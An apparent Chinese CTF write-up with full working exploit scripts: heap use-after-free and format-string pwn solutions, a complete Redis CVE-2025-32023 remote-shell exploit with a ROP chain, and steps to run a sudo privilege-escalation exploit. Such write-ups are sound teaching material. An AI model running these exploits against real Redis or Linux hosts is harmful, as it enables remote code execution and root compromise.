pwn

我不吃牛肉

2.23版本的堆类型题目,存在uaf漏洞

比较阴的点是选择不同的功能并不是根据我们输入的数字,而是采取了一个随机数,我们输入的数字是随机数种子,但这里是伪随机数,也就是说每次随机出来的数字都是固定的

这里就不写脚本去测不同种子的随机数值了

直接手测每个功能的数字

之后申请一个堆块将其free进unsortedbins里面通过show函数泄露libc地址

然后利用uaf漏洞修改malloc_hook为one_gadget

实际操作发现并没有办法getshell

原因是one_gadget的条件无法满足

这里利用realloc调整栈帧即可

from pwn import*
from struct import pack
from ctypes import *
context(log_level = 'debug',arch = 'amd64')
#p=process('./pwn1')
p=remote('113.201.14.253',43870)
elf=ELF('./pwn1')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
def bug():
	gdb.attach(p)
	pause()
def s(a):
	p.send(a)
def sa(a,b):
	p.sendafter(a,b)
def sl(a):
	p.sendline(a)
def sla(a,b):
	p.sendlineafter(a,b)
def r(a):
	p.recv(a)
def pr(a):
	print(p.recv(a))
def rl(a):
	return p.recvuntil(a)
def inter():
	p.interactive()
def get_addr64():
	return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
	return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
	return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


def add(index,size):
    rl("choice:")
    sl(str(12))
    rl("index:")
    sl(str(index))
    rl("size:")
    sl(str(size))

def free(index):
    rl("choice:")
    sl(str(7))
    rl("index:")
    sl(str(index))

def edit(index,size,content):
    rl("choice:")
    sl(str(2))
    rl("index:")
    sl(str(index))
    rl("length:")
    sl(str(size))
    rl("content:")
    s(content)

def show(index):
    rl("choice:")
    sl(str(1))
    rl("index:")
    sl(str(index))

add(0,0x68)
add(1,0x98)
add(2,0x68)
add(3,0x68)
free(1)
show(1)
libc_base=get_addr64()-3951480
li(hex(libc_base))
system,bin=get_sb()
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']+6
li(hex(malloc_hook))
one_gadget=0x4527a+libc_base
free(0)
free(2)
free(0)
edit(0,0x68,p64(malloc_hook-0x23))
add(4,0x68)
add(5,0x68)
edit(5,0x68,b'a'*(0x13-8)+p64(one_gadget)+p64(realloc))

rl("choice:")
sl(str(12))
rl("index:")
sl(str(6))
rl("size:")
sl(str(0x10))
inter()

我最好的初代同事

程序开始需要我们进行几次加法计算,通过for循环进行数据读取并计算即可

之后进入目标函数

输入2退出程序

这里只能选择1了

只能读入0x10个字节,不存在溢出,只能利用格式化字符串漏洞了

这里很容易想到手搓格式化字符串payload

第一次我们先去泄露返回地址的栈地址,测试发现偏移为10时可泄露地址

接下来我们需要寻找a-->b-->c的链路

这里并没有直接可以修改返回地址的,因此需要我们构造

发现偏移为10的可以利用

将该位置的栈地址修改掉,发现在偏移为14的地方出现了abc链路,并且返回地址就是c链路的

我们可以通过payload去修改返回地址了

成功将返回地址的尾部两个字节修改掉了,此时我们的返回地址就是后门函数了

这是在本地尝试的,栈地址不会改变

但是远程环境仅最后三位数不会变,所以我们的脚本需要多跑几次才能成功

from pwn import*
from struct import pack
from ctypes import *
context(log_level = 'debug',arch = 'amd64')
#p=process('./fmt')
p=remote('113.201.14.253',15871)
elf=ELF('./fmt')
libc=ELF('./libc.so.6')
def bug():
	gdb.attach(p)
	pause()
def s(a):
	p.send(a)
def sa(a,b):
	p.sendafter(a,b)
def sl(a):
	p.sendline(a)
def sla(a,b):
	p.sendlineafter(a,b)
def r(a):
	p.recv(a)
def pr(a):
	print(p.recv(a))
def rl(a):
	return p.recvuntil(a)
def inter():
	p.interactive()
def get_addr64():
	return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
	return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
	return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

for i in range(5):
    rl("what's ")
    a=int(p.recv(2),10)
    rl("add ")
    b=int(p.recv(2),10)
    print(a)
    print(b)
    number=a+b
    sl(str(number))

rl("leave")
sl(str(1))
rl("Input:")
s(b'%10$p')
rl("0x")
stack=int(p.recv(12),16)-0x18
li(hex(stack))
backdoor=0x54E3 
rl("leave")
sl(str(1))
rl("Input:")
pay=(b'%'+str(stack&0xffff).encode()+b'c%10$hn')
s(pay)
rl("leave")
sl(str(1))
rl("Input:")
#bug()
pay=(b'%'+str(backdoor).encode()+b'c%14$hn')
s(pay)
inter()

InfoSEC

Redis爱你呦

存在redis的一个CVE漏洞,链接如下:

https://github.com/leesh3288/CVE-2025-32023/

参考https://xz.aliyun.com/news/18437

从docker容器中复制 redis-server文件到本地目录下,运行exp可以得到shell,

#!/usr/bin/env python3

from pwn import *
import redis
import random
import string

HOST, PORT = 'IP地址', 端口

binary = ELF('./redis-server')

# client to send redis commands
r = redis.Redis(HOST, PORT)

# client to pop shell
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')

HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010

# make a dense hll, which is just a string with specific encodings
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# assert that the hll encoding is valid
r.pfadd('hll:dense')

# make a malformed sparse hll, again just a string
def xzero(sz):
    assert 1 <= sz <= 0x4000
    sz -= 1
    return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)

pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd   # -0xc000
pl += xzero(0xc000 - 0x956c)    # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00)          # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b)             # -0x8000
pl += xzero(0x4000) * 3         # 0x4000
r.set('hll:exp', pl)

# prep 14KiB sds
fakelen = 0x4142434445464748
r.setrange('sds:a', 0x37fa - 11, p64(fakelen))  # sds @ 0x0005, p64() 00 00 00 00 
r.setrange('sds:b', 0x37fa - 8, b'B'*8)         # sds @ 0x3805, ................. fa 37 fa 37 02 ~
r.setrange('sds:c', 0x37fa - 8, b'C'*8)         # sds @ 0x7005

# trigger hllMerge + hllSparseToDense
# alloc 0x3010 => round 0x3800 (14KiB)
r.pfmerge('hll:exp', 'hll:dense')                           # sds @ 0xa805

# assert that string type is modified
assert r.strlen('sds:b') == fakelen

# spray embstr objects
marker = ''.join(random.choices(string.ascii_letters + string.digits, k=8)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40
for i in range(spray_cnt // 0x400):   # batch spray with mset
    ms = {}
    for j in range(0x400):
        idx = i * 0x400 + j
        ms[f'sds:_{idx}'] = (marker+p64(idx)).ljust(0x2b, b' ')
    r.mset(ms)

# dump the heap!
dump = r.getrange('sds:b', 0, 0x100000)[3:]

# egghunt valid embstr object
mark = 0x3700
while mark < len(dump):
    mark = dump.find(marker, mark)
    assert mark != -1
    tofs = mark - 3 - 0x10
    # assert type|encoding, refcount, sdshdr8 fields
    if dump[tofs] == 0x80 and u32(dump[tofs+4:tofs+8]) == 0x1 and dump[tofs+0x10:tofs+0x13] == b'\x2b\x2b\x01':
        break
    mark += 8
else:
    assert False, '[!] embstr spray egghunt fail'

# target robj
tadr = u64(dump[tofs+8:tofs+0x10]) - 3 - 0x10
tkey = f'sds:_{u64(dump[tofs+3+0x18:tofs+3+0x20])}'
log.success(f'{tofs = :#x} ({tkey = })')
log.success(f'{tadr = :#014x}')

# sds:b header
badr = tadr - tofs - 8
log.info(f'{badr = :#014x}')

# egghunt redis-server base
egg = binary.sym['je_ehooks_default_extent_hooks'] & 0xfff
for i in range(0x10000 - ((badr + 8) & 0xffff), len(dump), 0x10000):
    if u64(dump[i:i+8]) == 0x200000 and (u64(dump[i+0xc8:i+0xd0]) & 0xfff) == egg and (u64(dump[i+0xd8:i+0xe0]) & 0xfff) == egg:
    binary.address = u64(dump[i+0xc8:i+0xd0]) - binary.sym['je_ehooks_default_extent_hooks']
    break
else:
  assert False, '[!] redis-server base egghunt fail'

assert (binary.address & 0xfff) == 0
log.success(f'{binary.address = :#014x}')

# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4]   # type, encoding, lru
pl += p32(1)                          # refcount
pl += p64(badr + 0x10)                # ptr
r.setrange('sds:b', tofs+3, pl)

'''
0x001b9991: mov rax, rdi; mov rsi, [rdi+8]; mov rdi, [rdi]; mov rbp, rsp; call qword ptr [rax+0x10];
0x00226097: mov rbp, rdi; mov esi, 0x10; mov edi, 1; call qword ptr [rax+8];
0x001410ec: leave; ret;
0x002d6706: pop rdi; ret;
0x002d5cfb: pop rsi; ret;
0x000fc472: pop rdx; ret;
'''

# fake module value (badr + 0x10)
B = binary.address
PRDI = B+0x002d6706
PRSI = B+0x002d5cfb
PRDX = B+0x000fc472

# badr + 0x10
pl = p64(badr + 0x20 - 7*8)   # mv->type
pl += p64(badr + 0x2010)      # mv->value      (rdi)
pl += p64(B + 0x001b9991)     # mv->type->free (rip), gadget #0
pl = pl.ljust(0x1000, b'\0')

# badr + 0x1010
pl += b'/bin/sh\0'            # 0x1010
pl += p64(badr + 0x1010)      # 0x1018
pl += p64(0)                  # 0x1020
pl = pl.ljust(0x2000, b'\0')

# badr + 0x2010 (=rdi)
pl += p64(badr + 0x2028)      # [rdi], rbp to set
pl += p64(B + 0x001410ec)     # [rax+8], gadget #2
pl += p64(B + 0x00226097)     # [rax+8], gadget #1
pl += p64(0)                  # popped rbp

# ret, ROP starts here
# FD_CLOEXEC is dropped on dup2 newfd
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(0) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(1) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(2) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(badr + 0x1010)
pl += p64(PRSI) + p64(badr + 0x1018)
pl += p64(PRDX) + p64(0)
pl += p64(binary.plt['execve'])

r.setrange('sds:b', 3+8, pl)
r.close()
del r

# trigger module free!
p.sendline(f'set {tkey} 0')
p.interactive()

最近还好吗

启动发现是ssh链接,登录发现flag在/根目录下,需要提权

所以需要检索关于提权的最新CVE

https://github.com/kh4sh3i/CVE-2025-32463/blob/main/README.md

为payload,下载好,将exploit.sh传入服务器

chmod +x exploit.sh
id
./exploit.sh
id
cat /flag

Game

我勒个超级玛丽奥

右键调出bash界面,在app目录下发现flag的存放目录,读取即可。